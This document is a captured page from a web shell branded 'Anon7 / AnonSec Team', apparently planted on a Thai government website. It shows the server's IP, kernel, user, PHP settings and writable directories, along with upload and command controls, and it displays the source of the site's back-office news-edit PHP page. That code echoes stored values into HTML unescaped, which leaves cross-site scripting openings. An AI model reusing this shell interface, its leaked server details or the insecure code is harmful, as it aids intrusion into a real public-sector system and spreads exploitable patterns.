NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.144.7.9
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/private_html/admin/top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/private_html/admin/top/NewsbookMain-edit.php
<?php  
    require_once('session_backend_administrator.php');
header('Content-Type: text/html; charset=UTF-8');
    if($STT_login=="admin_login_true"){

        $check_type = "ข้อมูลระบบ Back Office";
        $check_link = "NewsbookMain";

        $check_id = $con_db_administrator->real_escape_string($_GET['id']);

        if( $check_id=="" or !isset($check_id) ){
            echo "<SCRIPT type='text/javascript'>
                    alert('ไม่พบข้อมูล ที่ต้องการแก้ไข');
                    window.location.replace(document.referrer);
                </SCRIPT>";
            exit;
        }else{
            $sql_data = " SELECT * FROM `data_newsbook` WHERE `id_newsbook`='$check_id' "; 
            $qr_data = mysqli_query($con_db_administrator, $sql_data); 
            $rs_data = mysqli_fetch_assoc($qr_data); 

            if( empty($rs_data) ){
                echo "<SCRIPT type='text/javascript'>
                        alert('ไม่พบข้อมูล ที่ต้องการแก้ไข');
                        window.location.replace('$check_link');
                    </SCRIPT>";
                exit;
            }

            $id_newsbook = $rs_data['id_newsbook'];
            $name_newsbook = $rs_data['name_newsbook'];
        }
    }else{
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณาเข้าสู่ระบบ');
                window.location.replace('../index');
            </SCRIPT>";
        exit;
    }
?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>
    </head>
    <body class="" >
        <?php  include_once ("menu.php"); ?>
        <div class="container pt-3 pb-4 " >
            <div class="row ">
                <div class="col text-secondary" >
                    <div class="p-1 ps-2 box-link " ><a href="../backend-administrator" class="link-info">หน้าหลัก</a> / <a href="<?php echo $check_link;?>" class="link-info"><?php echo $check_type;?></a> / แก้ไขข้อมูล <?php echo $check_type;?></div>
                </div>
                <div class="w-100 pb-4"></div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
                <div class="col-auto text-center">
                    <span class="lh-sm h1 fw-700">แก้ไขข้อมูล <?php echo $check_type;?> </span>
                </div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
            </div>

            <div class="row mt-4 mb-5 p-2">
                <div class="col mx-auto box-data p-4" style="max-width:800px">
                    <form action="action/save-NewsbookMain-edit" name='form_NewsbookMain_edit' id='form_NewsbookMain_edit' method="post" enctype="multipart/form-data">
                    <input type="hidden" name="linknewsbook" value="<?php echo $check_link;?>" readonly>
                    <input type="hidden" name="edt_id" value="<?php echo $rs_data['id_newsbook']; ?>" readonly>
                        <div class="row mb-4">
                            <label class="col-md-2 col-form-label fw-700 txtbox-align">เลขที่หนังสือ</label>
                            <div class="col-md-10">
                                <input type="text" class="form-control" name="edt_number" value="<?php echo $rs_data['number_newsbook']; ?>" style="max-width:250px" required>
                                <input type="hidden" name="edt_oldnumber" value="<?php echo $rs_data['number_newsbook']; ?>" readonly>
                            </div>
                        </div>
                        <div class="row mb-4">
                            <label class="col-md-2 col-form-label fw-700 txtbox-align">เรื่อง</label>
                            <div class="col-md-10">
                                <input type="text" class="form-control " name="edt_name" value="<?php echo $rs_data['name_newsbook']; ?>" required>
                            </div>
                        </div>
                        <?php
                            $date1 = str_replace('/', '-', $rs_data['date_newsbook']); 
                            $date11 = date("Y-m-d",strtotime($date1)); 

                            $date2 = str_replace('/', '-', $rs_data['exp_newsbook']); 
                            $date22 = date("Y-m-d",strtotime($date2)); 
                        ?>
                        <div class="row mb-4">
                            <label class="col-md-2 col-form-label fw-700 txtbox-align">วันที่ลง</label>
                            <div class="col-md-10">
                                <input type="date" class="form-control" id="edt_date" name="edt_date" data-date-format="DD MMMM YYYY" style="max-width:250px" value="<?php echo $date11; ?>" required>
                            </div>
                        </div>
                        <div class="row mb-4">
                            <label class="col-md-2 col-form-label fw-700 txtbox-align">วันที่หมดอายุ</label>
                            <div class="col-md-10">
                                <input type="date" class="form-control" name="edt_exp" data-date-format="DD MMMM YYYY" style="max-width:250px" value="<?php echo $date22; ?>" required>
                            </div>
                        </div>

                        <div class="row mb-4">
                            <div class="col-md-2 fw-700 txtbox-align">หน่วยงาน</div>
                            <div class="col-md-10">
                                <?php
                                    // $sql_nbmb = "SELECT `name_newsbookmb` FROM `data_newsbookmb` ORDER BY `id_newsbookmb` ASC ";
                                    // $qr_nbmb = mysqli_query($con_db_administrator,$sql_nbmb) or die( mysqli_error($con_db_administrator));
                                    // echo '<select class="form-select" name="edt_namemb"  style="max-width:250px" required>';
                                    //     while($rs_nbmb  = mysqli_fetch_array($qr_nbmb )){
                                    //         echo '<option value="'.$rs_nbmb['name_newsbookmb'].'"';
                                    //         if($rs_nbmb['name_newsbookmb'] == $rs_data['namemb_newsbook']){echo "selected"; }
                                    //         echo '>'.$rs_nbmb['name_newsbookmb'].'</option>';
                                    //     }
                                    // echo '</select>';
                                ?>
                                <?php
                                    $data_namembnewsbook_array = explode(", ", $rs_data["namemb_newsbook"] );

                                    $sql_nbmb = "SELECT `name_newsbookmb` FROM `data_newsbookmb` ORDER BY `id_newsbookmb` ASC ";
                                    $qr_nbmb = mysqli_query($con_db_administrator,$sql_nbmb) or die( mysqli_error($con_db_administrator));
                                    $c_row = 0;
                                        while($rs_nbmb  = mysqli_fetch_array($qr_nbmb )){
                                            $c_row++;
                                            echo '<div class="form-check">
                                                    <input class="form-check-input" type="checkbox" value="'.$rs_nbmb['name_newsbookmb'].'" name="edt_namemb[]" ';
                                            foreach ($data_namembnewsbook_array as $chk_data_namembnewsbook) { if($rs_nbmb['name_newsbookmb'] == $chk_data_namembnewsbook){ echo "checked"; } }
                                            echo '>
                                                    <label class="form-check-label">
                                                        '.$rs_nbmb['name_newsbookmb'].'
                                                    </label>
                                                </div>';
                                            
                                        }
                                    if($c_row<=0){echo '<span class="text-danger fw-400 fs-14">* ไม่พบข้อมูลหน่วยงาน</span>';}
                                ?>
                            </div>
                        </div>
                        <hr class="mb-3">
                        <div class="row mb-4">
                            <label class="col-2 col-form-label fw-700 txtbox-align">สถานะ</label>
                            <div class="col-10">
                                <select class="form-select" name="statusshow" style="max-width:250px">
                                    <option value="0" <?php if($rs_data['stt_newsbook']=="0"){ echo "selected"; }?>>แสดง</option>
                                    <option value="1" <?php if($rs_data['stt_newsbook']=="1"){ echo "selected"; }?>>ไม่แสดง</option>
                                </select>
                            </div>
                        </div>
                        <div class="text-center">
                            <button type="submit" class="btn btn-success" id="btnSubmit"><i class="fas fa-save me-2" ></i> บันทึกข้อมูล</button>
                            <button type="button" class="btn btn-danger ms-2" onclick="location.href='<?php echo $check_link;?>'">ย้อนกลับ</button>
                        </div>
                    </form>
                </div>
                <div class="w-100"></div>
                <div class="col mx-auto box-data p-4 mt-3" style="max-width:800px">
                                    <span class="fs-18 fw-700 text-center">ไฟล์ที่เกี่ยวข้อง <i class="fas fa-caret-square-right"></i> <?php echo $rs_data['name_newsbook'];?></span>
                                    <?php
                                            $sql_cfiledoc = "SELECT COUNT(*) FROM `data_filedoc_newsbook` WHERE `id_tbdata_filedoc_newsbook`='$id_newsbook'  ";
                                            $qr_cfiledoc = mysqli_query($con_db_administrator, $sql_cfiledoc) or trigger_error("SQL", E_USER_ERROR);
                                            $rs_cfiledoc = mysqli_fetch_row($qr_cfiledoc);

                                            $sql_data_filedoc = "SELECT * FROM `data_filedoc_newsbook` WHERE `id_tbdata_filedoc_newsbook`='$id_newsbook' ";
                                            $qr_data_filedoc = mysqli_query($con_db_administrator,$sql_data_filedoc) or die( mysqli_error($con_db_administrator));
                                    ?>
                                    <table class="table table-sm table-bordered table-bordered table-hover mt-2 mb-2">
                                        <thead >
                                            <tr class="text-center table-secondary fs-16">
                                                <th style="width:94%">ไฟล์ที่เกี่ยวข้อง <?php echo $rs_cfiledoc[0]; ?> รายการ</th>
                                                <th style="width:6%">ลบ</th>
                                            </tr>
                                        </thead>
                                        <tbody class="table-group-divider fs-16">
                                                <?php while($rs_data_filedoc = mysqli_fetch_array($qr_data_filedoc)){ ?>
                                                <tr>
                                                    <td><a href="<?php echo "../../".$rs_data_filedoc['path_filedoc_newsbook'];?>" target="_blank" class="link-danger"><i class="fas fa-file-alt" ></i> <?php echo $rs_data_filedoc['name_filedoc_newsbook'];?></a></td>
                                                    <td class="text-center fs-18" >
                                                        <a href="action/del-filedoc-nb?id=<?php echo $rs_data_filedoc['id_filedoc_newsbook'];?>&path=<?php echo $rs_data_filedoc['path_filedoc_newsbook'];?>" class="link-dark" data-bs-toggle="tooltip" data-bs-title="ลบข้อมูล" onclick="return confirm('ต้องการลบข้อมูล ใช่หรือไม่?');" ><i class="fas fa-trash-alt" ></i></a> 
                                                    </td>
                                                </tr>
                                                
                                                <?php } ?>
                                            <?php 
                                                if($rs_cfiledoc[0]=="0"){ echo '<tr><td colspan="7"><div class="w-100 text-center mt-3 mb-3 text-secondary opacity-50 fs-16" ><i class="fas fa-eye-slash"></i> ไม่พบไฟล์ที่เกี่ยวข้อง</div></td></tr>';}
                                            ?>

                                        </tbody>                            
                                    </table>
                                    <div class="mt-3">
                                        <small class="fw-700">เพิ่มไฟล์ที่เกี่ยวข้อง</small>
                                        <form action="action/save-addfiledoc-nb" name='form_newsbook_addfiledoc' id='form_newsbook_addfiledoc' method="post" enctype="multipart/form-data">
                                            <input type="hidden" name="id_data_filedoc" value="<?php echo $rs_data['id_newsbook'];?>" readonly>
                                            <div class="input-group mt-1">
                                                <input type="file" class="form-control" id="uploadFile" name="uploadFile[]" aria-label="Upload" accept="image/png, image/gif, image/jpeg, application/pdf,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.ms-excel,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"  multiple required>
                                                <button type="submit" class="btn btn-dark" ><i class="fas fa-cloud-download-alt"></i> อัพโหลด</button>
                                            </div>
                                        </form>
                                        <div class="mt-2 lh-sm">
                                            <small class="fs-12 text-secondary">- เปลี่ยนชื่อไฟล์ให้เกี่ยวข้องกับหัวข้อ ก่อนทำการเลือกไฟล์อัพโหลด</small>
                                            <br><small class="fs-12 text-secondary">- อัพโหลดได้เฉพาะไฟล์รูปภาพ , .pdf , .doc/.docx , .xls/.xlsx</small>
                                            <br><small class="fs-12 text-secondary">- เมื่อถึงวันที่หมดอายุ ไฟล์จะถูกลบทันที</small>
                                        </div>
                                    </div>
                </div>
            </div>


            <?php  include_once ("../footer.php"); ?>
            <script>
                $(document).ready(function () {
                    $('#btnSubmit').click(function() {
                        checked = $("input[type=checkbox]:checked").length;

                        if(!checked) {
                            alert('กรุณาเลือกหน่วยงาน');
                            return false;
                        }
                    });
                });
                $('#uploadFile').change(function(){
                    if(this.files.length>10){
                        alert('อัพโหลดได้สูงสุดทีละ 10 ไฟล์ สามารถอัพโหลดเพิ่มภายหลังได้');
                        $("#uploadFile").val(null);
                        return false;
                    }
                });
                $('body').on('dragstart drop', function(e){
                    e.preventDefault();
                    return false;
                });
            </script>
        </div>
    </body>

</html>

Anon7 - 2022
AnonSec Team